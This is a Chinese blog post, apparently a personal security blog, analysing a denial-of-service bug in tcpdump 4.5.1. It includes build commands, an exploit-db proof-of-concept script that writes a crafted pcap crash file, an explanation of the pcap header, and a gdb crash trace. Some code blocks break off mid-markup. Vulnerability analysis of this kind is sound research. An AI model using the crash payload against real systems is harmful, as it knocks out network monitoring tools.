2019-07-01 09:29:47 +00:00
<!DOCTYPE html>
< html class = "theme-next gemini use-motion" lang = "zh-Hans" >
< head > < meta name = "generator" content = "Hexo 3.8.0" >
< meta charset = "UTF-8" >
< meta http-equiv = "X-UA-Compatible" content = "IE=edge" >
< meta name = "viewport" content = "width=device-width, initial-scale=1, maximum-scale=1" >
< meta name = "theme-color" content = "#222" >
< meta http-equiv = "Cache-Control" content = "no-transform" >
< meta http-equiv = "Cache-Control" content = "no-siteapp" >
< link href = "/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel = "stylesheet" type = "text/css" >
< link href = "/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel = "stylesheet" type = "text/css" >
< link href = "/css/main.css?v=5.1.4" rel = "stylesheet" type = "text/css" >
< link rel = "apple-touch-icon" sizes = "180x180" href = "/images/hackerrank.png?v=5.1.4" >
< link rel = "icon" type = "image/png" sizes = "32x32" href = "/images/hackerrank.png?v=5.1.4" >
< link rel = "icon" type = "image/png" sizes = "16x16" href = "/images/hackerrank.png?v=5.1.4" >
< link rel = "mask-icon" href = "/images/logo.svg?v=5.1.4" color = "#222" >
< meta name = "keywords" content = "TCPDUMP,拒绝服务攻击," >
< meta name = "description" content = "TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统: 包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中, tcpdump 需要使用libpcap这个捕捉数据的" >
< meta name = "keywords" content = "TCPDUMP,拒绝服务攻击" >
< meta property = "og:type" content = "article" >
< meta property = "og:title" content = "TCPDUMP拒绝服务攻击漏洞" >
< meta property = "og:url" content = "https://cool-y.github.io/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html" >
< meta property = "og:site_name" content = "混元霹雳手" >
< meta property = "og:description" content = "TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统: 包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中, tcpdump 需要使用libpcap这个捕捉数据的" >
< meta property = "og:locale" content = "zh-Hans" >
< meta property = "og:updated_time" content = "2019-07-01T09:28:40.813Z" >
< meta name = "twitter:card" content = "summary" >
< meta name = "twitter:title" content = "TCPDUMP拒绝服务攻击漏洞" >
< meta name = "twitter:description" content = "TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统: 包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中, tcpdump 需要使用libpcap这个捕捉数据的" >
< script type = "text/javascript" id = "hexo.configurations" >
var NexT = window.NexT || {};
var CONFIG = {
root: '/',
scheme: 'Gemini',
version: '5.1.4',
sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
fancybox: true,
tabs: true,
motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
duoshuo: {
userId: '0',
author: '博主'
},
algolia: {
applicationID: '',
apiKey: '',
indexName: '',
hits: {"per_page":10},
labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
}
};
< / script >
< link rel = "canonical" href = "https://cool-y.github.io/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" >
< title > TCPDUMP拒绝服务攻击漏洞 | 混元霹雳手< / title >
< / head >
< body itemscope itemtype = "http://schema.org/WebPage" lang = "zh-Hans" >
< div class = "container sidebar-position-left page-post-detail" >
< div class = "headband" > < / div >
< header id = "header" class = "header" itemscope itemtype = "http://schema.org/WPHeader" >
< div class = "header-inner" > < div class = "site-brand-wrapper" >
< div class = "site-meta " >
< div class = "custom-logo-site-title" >
< a href = "/" class = "brand" rel = "start" >
< span class = "logo-line-before" > < i > < / i > < / span >
< span class = "site-title" > 混元霹雳手< / span >
< span class = "logo-line-after" > < i > < / i > < / span >
< / a >
< / div >
2019-07-10 04:27:33 +00:00
< p class = "site-subtitle" > 多得是,你不知道的事< / p >
2019-07-01 09:29:47 +00:00
< / div >
< div class = "site-nav-toggle" >
< button >
< span class = "btn-bar" > < / span >
< span class = "btn-bar" > < / span >
< span class = "btn-bar" > < / span >
< / button >
< / div >
< / div >
< nav class = "site-nav" >
< ul id = "menu" class = "menu" >
< li class = "menu-item menu-item-home" >
< a href = "/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-home" > < / i > < br >
首页
< / a >
< / li >
< li class = "menu-item menu-item-about" >
< a href = "/about/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-user" > < / i > < br >
关于
< / a >
< / li >
< li class = "menu-item menu-item-tags" >
< a href = "/tags/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-tags" > < / i > < br >
标签
< / a >
< / li >
< li class = "menu-item menu-item-categories" >
< a href = "/categories/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-th" > < / i > < br >
分类
< / a >
< / li >
< li class = "menu-item menu-item-archives" >
< a href = "/archives/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-archive" > < / i > < br >
归档
< / a >
< / li >
< li class = "menu-item menu-item-bookmarks" >
< a href = "/bookmarks/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-map" > < / i > < br >
书签
< / a >
< / li >
< li class = "menu-item menu-item-search" >
< a href = "javascript:;" class = "popup-trigger" >
< i class = "menu-item-icon fa fa-search fa-fw" > < / i > < br >
搜索
< / a >
< / li >
< / ul >
< div class = "site-search" >
< div class = "popup search-popup local-search-popup" >
< div class = "local-search-header clearfix" >
< span class = "search-icon" >
< i class = "fa fa-search" > < / i >
< / span >
< span class = "popup-btn-close" >
< i class = "fa fa-times-circle" > < / i >
< / span >
< div class = "local-search-input-wrapper" >
< input autocomplete = "off" placeholder = "搜索..." spellcheck = "false" type = "text" id = "local-search-input" >
< / div >
< / div >
< div id = "local-search-result" > < / div >
< / div >
< / div >
< / nav >
< / div >
< / header >
< main id = "main" class = "main" >
< div class = "main-inner" >
< div class = "content-wrap" >
< div id = "content" class = "content" >
< div id = "posts" class = "posts-expand" >
< article class = "post post-type-normal" itemscope itemtype = "http://schema.org/Article" >
< div class = "post-block" >
< link itemprop = "mainEntityOfPage" href = "https://cool-y.github.io/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" >
< span hidden itemprop = "author" itemscope itemtype = "http://schema.org/Person" >
< meta itemprop = "name" content = "Cool-Y" >
< meta itemprop = "description" content >
< meta itemprop = "image" content = "/images/avatar.png" >
< / span >
< span hidden itemprop = "publisher" itemscope itemtype = "http://schema.org/Organization" >
< meta itemprop = "name" content = "混元霹雳手" >
< / span >
< header class = "post-header" >
< h1 class = "post-title" itemprop = "name headline" > TCPDUMP拒绝服务攻击漏洞< / h1 >
< div class = "post-meta" >
< span class = "post-time" >
< span class = "post-meta-item-icon" >
< i class = "fa fa-calendar-o" > < / i >
< / span >
< span class = "post-meta-item-text" > 发表于< / span >
< time title = "创建于" itemprop = "dateCreated datePublished" datetime = "2018-12-25T12:26:05+08:00" >
2018-12-25
< / time >
< / span >
< span class = "post-category" >
< span class = "post-meta-divider" > |< / span >
< span class = "post-meta-item-icon" >
< i class = "fa fa-folder-o" > < / i >
< / span >
< span class = "post-meta-item-text" > 分类于< / span >
< span itemprop = "about" itemscope itemtype = "http://schema.org/Thing" >
< a href = "/categories/二进制/" itemprop = "url" rel = "index" >
< span itemprop = "name" > 二进制< / span >
< / a >
< / span >
< / span >
< span id = "/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" class = "leancloud_visitors" data-flag-title = "TCPDUMP拒绝服务攻击漏洞" >
< span class = "post-meta-divider" > |< / span >
< span class = "post-meta-item-icon" >
< i class = "fa fa-eye" > < / i >
< / span >
< span class = "post-meta-item-text" > 阅读次数: < / span >
< span class = "leancloud-visitors-count" > < / span >
< / span >
< div class = "post-wordcount" >
< span class = "post-meta-item-icon" >
< i class = "fa fa-file-word-o" > < / i >
< / span >
< span title = "字数统计" >
2019-07-10 09:03:44 +00:00
3.3k 字
2019-07-01 09:29:47 +00:00
< / span >
< span class = "post-meta-divider" > |< / span >
< span class = "post-meta-item-icon" >
< i class = "fa fa-clock-o" > < / i >
< / span >
< span title = "阅读时长" >
2019-07-10 09:03:44 +00:00
15 分钟
2019-07-01 09:29:47 +00:00
< / span >
< / div >
< / div >
< / header >
< div class = "post-body" itemprop = "articleBody" >
< h1 id = "TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" > < a href = "#TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" class = "headerlink" title = "TCPDUMP 4.5.1 拒绝服务攻击漏洞分析" > < / a > TCPDUMP 4.5.1 拒绝服务攻击漏洞分析< / h1 > < h2 id = "Tcpdump介绍" > < a href = "#Tcpdump介绍" class = "headerlink" title = "Tcpdump介绍" > < / a > Tcpdump介绍< / h2 > < ol >
< li > tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统: 包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中, tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump; 它需要WinPcap驱动, 相当于在Linux平台下的libpcap.< / li >
< li > tcpdump能够分析网络行为, 性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤, 并提供and、or、not等逻辑语句来帮助你去掉无用的信息, 从而使用户能够进一步找出问题的根源。< / li >
< li > 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量, 如Telnet或HTTP的数据包, 查看登录的用户名、密码、网址、正在浏览的网站内容, 或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁, 而是对网络上的其他计算机的安全存在威胁。< / li >
< / ol >
< h2 id = "分析环境" > < a href = "#分析环境" class = "headerlink" title = "分析环境" > < / a > 分析环境< / h2 > < ul >
< li > Ubuntu 16.04.4 LTS i686< / li >
< li > tcpdump 4.5.1< / li >
< li > gdb with peda< / li >
< / ul >
< h2 id = "漏洞复现" > < a href = "#漏洞复现" class = "headerlink" title = "漏洞复现" > < / a > 漏洞复现< / h2 > < p > 这个漏洞触发的原因是, tcpdump在处理特殊的pcap包的时候, 由于对数据包传输数据长度没有进行严格的控制, 导致在连续读取数据包中内容超过一定长度后, 会读取到无效的内存空间, 从而导致拒绝服务的发生。对于这个漏洞, 首先要对pcap包的结构进行一定的分析, 才能够最后分析出漏洞的成因, 下面对这个漏洞进行复现。< / p >
2019-07-10 09:03:44 +00:00
< h3 id = "编译安装tcpdump" > < a href = "#编译安装tcpdump" class = "headerlink" title = "编译安装tcpdump" > < / a > 编译安装tcpdump< / h3 > < figure class = "highlight applescript" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "number" > 1.< / span > < span class = "comment" > # apt-get install libpcap-dev< / span > < / span > < br > < span class = "line" > < span class = "number" > 2.< / span > < span class = "comment" > # dpkg -l libpcap-dev< / span > < / span > < br > < span class = "line" > < span class = "number" > 3.< / span > < span class = "comment" > # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz< / span > < / span > < br > < span class = "line" > < span class = "number" > 4.< / span > < span class = "comment" > # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz< / span > < / span > < br > < span class = "line" > < span class = "number" > 5.< / span > < span class = "comment" > # cd tcpdump-4.5.1/< / span > < / span > < br > < span class = "line" > < span class = "number" > 6.< / span > < span class = "comment" > # ./configure< / span > < / span > < br > < span class = "line" > < span class = "number" > 7.< / span > < span class = "comment" > # make< / span > < / span > < br > < span class = "line" > < span class = "number" > 8.< / span > < span class = "comment" > # make install< / span > < / span > < br > < span class = "line" > < span class = "number" > 9.< / span > < span class = "comment" > # tcpdump – -version< / span > < / span > < br > < span class = "line" > tcpdump < span class = "built_in" > version< / span > < span class = "number" > 4.5< / span > < span class = "number" > .1< / span > < / span > < br > < span class = "line" > libpcap < span class = "built_in" > version< / span > < span class = "number" > 1.7< / span > < span class = "number" > .4< / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h3 id = "生成payload( 来自exploit-db-payload) " > < a href = "#生成payload( 来自exploit-db-payload) " class = "headerlink" title = "生成payload( 来自exploit-db payload) " > < / a > 生成payload( 来自exploit-db payload) < / h3 > < figure class = "highlight taggerscript" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > # Exploit Title: tcpdump 4.5.1 Access Violation Crash< / span > < br > < span class = "line" > # Date: 31st May 2016< / span > < br > < span class = "line" > # Exploit Author: David Silveiro< / span > < br > < span class = "line" > # Vendor Homepage: http://www.tcpdump.org< / span > < br > < span class = "line" > # Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz< / span > < br > < span class = "line" > # Version: 4.5.1< / span > < br > < span class = "line" > # Tested on: Ubuntu 14 LTS< / span > < br > < span class = "line" > from subprocess import call< / span > < br > < span class = "line" > from shlex import split< / span > < br > < span class = "line" > from time import sleep< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > def crash():< / span > < br > < span class = "line" > command = 'tcpdump -r crash'< / span > < br > < span class = "line" > buffer = '< span class = "symbol" > \x< / span > d4< span class = "symbol" > \x< / span > c3< span class = "symbol" > \x< / span > b2< span class = "symbol" > \x< / span > a1< span class = "symbol" > \x< / span > 02< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 04< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > f5< span class = "symbol" > \x< / span > ff'< / span > < br > < span class = "line" > buffer += '< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00I< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > e6< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 80< span class = "symbol" > \x< / span > 00'< / span > < br > < span class = "line" > buffer += '< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 08< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< < span class = "symbol" > \x< / span > 9c7@< span class = "symbol" > \x< / span > ff< span class = "symbol" > \x< / span > 00'< / span > < br > < span class = "line" > buffer += '< span class = "symbol" > \x< / span > 06< span class = "symbol" > \x< / span > a0r< span class = "symbol" > \x< / span > 7f< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 01< span class = "symbol" > \x< / span > 7f< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > ec< span class = "symbol" > \x< / span > 00< span class = "symbol" > \x< / span > 01< span class = "symbol" > \x< / span > e0< span class = "symbol" > \x< / span > 1a'< / span > < br > < span c
< h2 id = "崩溃分析" > < a href = "#崩溃分析" class = "headerlink" title = "崩溃分析" > < / a > 崩溃分析< / h2 > < h3 id = "pcap包格式" > < a href = "#pcap包格式" class = "headerlink" title = "pcap包格式" > < / a > pcap包格式< / h3 > < p > 首先来分析一下pcap包的格式, 首先是pcap文件头的内容, 在.h有所定义, 这里将结构体以及对应变量含义都列出来。< br > < figure class = "highlight mipsasm" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > struct pcap_file_header { < / span > < br > < span class = "line" > < span class = "keyword" > bpf_u_int32 < / span > magic< span class = "comment" > ;< / span > < / span > < br > < span class = "line" > u_short version_major< span class = "comment" > ;< / span > < / span > < br > < span class = "line" > u_short version_minor< span class = "comment" > ;< / span > < / span > < br > < span class = "line" > < span class = "keyword" > bpf_int32 < / span > thiszone< span class = "comment" > ; /* gmt to local correction */< / span > < / span > < br > < span class = "line" > < span class = "keyword" > bpf_u_int32 < / span > sigfigs< span class = "comment" > ; /* accuracy of timestamps */< / span > < / span > < br > < span class = "line" > < span class = "keyword" > bpf_u_int32 < / span > snaplen< span class = "comment" > ; /* max length saved portion of each pkt */< / span > < / span > < br > < span class = "line" > < span class = "keyword" > bpf_u_int32 < / span > linktype< span class = "comment" > ; /* data link type (LINKTYPE_*) */< / span > < / span > < br > < span class = "line" > } < span class = "comment" > ;< / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 看一下各字段的含义:< br > < figure class = "highlight lsl" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > magic: < span class = "number" > 4< / span > 字节 pcap文件标识 目前为“d4 c3 b2 a1”< / span > < br > < span class = "line" > major: < span class = "number" > 2< / span > 字节 主版本号 #define PCAP_VERSION_MAJOR < span class = "number" > 2< / span > < / span > < br > < span class = "line" > minor: < span class = "number" > 2< / span > 字节 次版本号 #define PCAP_VERSION_MINOR < span class = "number" > 4< / span > < / span > < br > < span class = "line" > thiszone: < span class = "number" > 4< / span > 字节 时区修正 并未使用,目前全为< span class = "number" > 0< / span > < / span > < br > < span class = "line" > sigfigs: < span class = "number" > 4< / span > 字节 精确时间戳 并未使用,目前全为< span class = "number" > 0< / span > < / span > < br > < span class = "line" > snaplen: < span class = "number" > 4< / span > 字节 抓包最大长度 如果要抓全,设为< span class = "number" > 0x0000ffff< / span > ( < span class = "number" > 65535< / span > ) , < / span > < br > < span class = "line" > tcpdump -s < span class = "number" > 0< / span > 就是设置这个参数,缺省为< span class = "number" > 68< / span > 字节< / span > < br > < span class = "line" > linktype: < span class = "number" > 4< / span > 字节 链路类型 一般都是< span class = "number" > 1< / span > : ethernet< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > struct pcap_pkthdr { < / span > < br > < span class = "line" > struct timeval ts; < span class = "comment" > /* time stamp */< / span > < / span > < br > < span class = "line" > bpf_u_int32 caplen; < span class = "comment" > /* length of portion present */< / span > < / span > < br > < span class = "line" > bpf_u_int32 len; < span class = "comment" > /* length this packet (off wire) */< / span > < / span > < br > < span class = "line" > } ;< / span > < br > < span class = "line" > struct timeval { < / span > < br > < span class = "line" > long tv_sec; < span class = "comment" > /* seconds (XXX should be time_t) */< / span > < / span > < br > < span class = "line" > suseconds_t tv_usec; < span class = "comment" > /* and microseconds */< / span > < / span > < br > < span class = "line" > } ;< / span > < br > < span class = "line" > ts: < span class = "number" > 8< / span > 字节 抓包时间 < span class = "number" > 4< / span > 字节表示秒数,< span class = "number" > 4< / span > 字节表示微秒数< / span > < br > < span class = "line" > caplen: < span class = "number" > 4< / span > 字节 保存下来的包长度( 最多是snaplen, 比如< span class = "number" > 68< / span > 字节)< / span > < br > < span class = "line" > len: < span class = "number" > 4< / span > 字节 数据包的真实长度, 如果文件中保存的不是完整数据包, 可能比caplen大< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
2019-07-01 09:29:47 +00:00
< p > 其中len变量是值得关注的, 因为在crash文件中, 对应len变量的值为00 3C 9C 37< br > 这是一个很大的值, 读取出来就是379C3C00, 数非常大, 实际上在wireshark中打开这个crash文件, 就会报错, 会提示这个数据包的长度已经超过了范围, 而换算出来的长度就是379C3C00, 这是触发漏洞的关键。< / p >
2019-07-10 09:03:44 +00:00
< h3 id = "gdb调试" > < a href = "#gdb调试" class = "headerlink" title = "gdb调试" > < / a > gdb调试< / h3 > < p > 首先通过gdb运行tcpdump, 用-r参数打开poc生成的crash, tcp崩溃, 到达漏洞触发位置< br > < figure class = "highlight markdown" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "bullet" > 1. < / span > Program received signal SIGSEGV, Segmentation fault.< / span > < br > < span class = "line" > < span class = "bullet" > 2. < / span > [----------------------------------registers-----------------------------------]< / span > < br > < span class = "line" > < span class = "bullet" > 3. < / span > EAX: 0x1< / span > < br > < span class = "line" > < span class = "bullet" > 4. < / span > EBX: 0x81e33bd --> 0x0< / span > < br > < span class = "line" > < span class = "bullet" > 5. < / span > ECX: 0x2e ('.')< / span > < br > < span class = "line" > < span class = "bullet" > 6. < / span > EDX: 0x0< / span > < br > < span class = "line" > < span class = "bullet" > 7. < / span > ESI: 0xbfffe201 ('.' < span class = "xml" > < span class = "tag" > < < span class = "name" > repeats< / span > < span class = "attr" > 14< / span > < span class = "attr" > times< / span > > < / span > < / span > )< / span > < br > < span class = "line" > < span class = "bullet" > 8. < / span > EDI: 0xbfffe1db --> 0x30303000 ('')< / span > < br > < span class = "line" > < span class = "bullet" > 9. < / span > EBP: 0x10621< / span > < br > < span class = "line" > < span class = "bullet" > 10. < / span > ESP: 0xbfffe1ac --> 0x8053caa (< span class = "xml" > < span class = "tag" > < < span class = "name" > hex_and_ascii_print_with_offset+170< / span > > < / span > < / span > : mov ecx,DWORD PTR [esp+0xc])< / span > < br > < span class = "line" > < span class = "bullet" > 11. < / span > EIP: 0x8053c6a (< span class = "xml" > < span class = "tag" > < < span class = "name" > hex_and_ascii_print_with_offset+106< / span > > < / span > < / span > : movzx edx,BYTE PTR [ebx+ebp*2+0x1])< / span > < br > < span class = "line" > < span class = "bullet" > 12. < / span > EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)< / span > < br > < span class = "line" > < span class = "bullet" > 13. < / span > [-------------------------------------code-------------------------------------]< / span > < br > < span class = "line" > < span class = "bullet" > 14. < / span > 0x8053c5d < span class = "xml" > < span class = "tag" > < < span class = "name" > hex_and_ascii_print_with_offset+93< / span > > < / span > < / span > : je 0x8053d40 < span class = "xml" > < span class = "tag" > < < span class = "name" > hex_and_ascii_print_with_offset+320< / span > > < / span > < / span > < / span > < br > < span class = "line" > < span class = "bullet" > 15. < / span > 0x8053c63 < span class = "xml" > < span class = "tag" > < < span class = "name" > hex_and_ascii_print_with_offset+99< / span > > < / span > < / span > : mov ebx,DWORD PTR [esp+0x18]< / span > < br > < span class = "line" > < span class = "bullet" > 16. < / span > 0x8053c67 < span class = "xml" > < span class = "tag" > < < span class = "name" > hex_and_ascii_print_with_offset+103< / span > > < / span > < / span > : sub esp,0x4< / span > < br > < span class = "line" > < span class = "bullet" > 17. < / span > => 0x8053c6a < span class = "xml" > < span class = "tag" > < < span class = "name" > hex_
< p > 从崩溃信息来看, 出错位置为s2 = < em > cp++;崩溃原因为SIGSEGV, 即进程执行了一段无效的内存引用或发生段错误。可以看到, 问题出现在./print-ascii.c:91, 而且此时指针读取[ebx+ebp< / em > 2+0x1]的内容,可能是越界读取造成的崩溃。< br > 再结合源码信息可知, 指针cp在自加的过程中访问到了一个没有权限访问的地址, 因为这是写在一个while循环里, 也就是是说nshorts的值偏大, 再看nshorts怎么来的, 由此nshorts = length / sizeof(u_short);可知, 可能是函数传入的参数length没有控制大小导致, 因此目标就是追踪length是如何传入的。< br > 我们通过bt回溯一下调用情况。< br > < figure class = "highlight routeros" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. gdb-peda$ bt< / span > < br > < span class = "line" > 2. #0 hex_and_ascii_print_with_offset (< span class = "attribute" > ident< / span > =0x80c04af < span class = "string" > "\n\t"< / span > , < span class = "attribute" > cp< / span > =0x8204000 < error: Cannot access memory at< span class = "built_in" > address < / span > 0x8204000> ,< / span > < br > < span class = "line" > 3. < span class = "attribute" > length< / span > =0xfffffff3, < span class = "attribute" > oset< / span > =0x20c40) at ./print-ascii.c:91< / span > < br > < span class = "line" > 4. #1 0x08053e26 < span class = "keyword" > in< / span > hex_and_ascii_print (< span class = "attribute" > ident< / span > =0x80c04af < span class = "string" > "\n\t"< / span > , < span class = "attribute" > cp< / span > =0x81e33bd < span class = "string" > ""< / span > , < span class = "attribute" > length< / span > =0xfffffff3) at ./print-ascii.c:127< / span > < br > < span class = "line" > 5. #2 0x08051e7d < span class = "keyword" > in< / span > ieee802_15_4_if_print (< span class = "attribute" > ndo< / span > =0x81e1320 < Gndo> , < span class = "attribute" > h< / span > =0xbfffe40c, < span class = "attribute" > p< / span > =< optimized out> ) at ./print-802_15_4.c:180< / span > < br > < span class = "line" > 6. #3 0x080a0aea < span class = "keyword" > in< / span > print_packet (< span class = "attribute" > user< / span > =0xbfffe4dc < span class = "string" > " \023\036\b\300\034\005\b\001"< / span > , < span class = "attribute" > h< / span > =0xbfffe40c, < span class = "attribute" > sp< / span > =0x81e33a8 < span class = "string" > "@\377"< / span > )< / span > < br > < span class = "line" > 7. at ./tcpdump.c:1950< / span > < br > < span class = 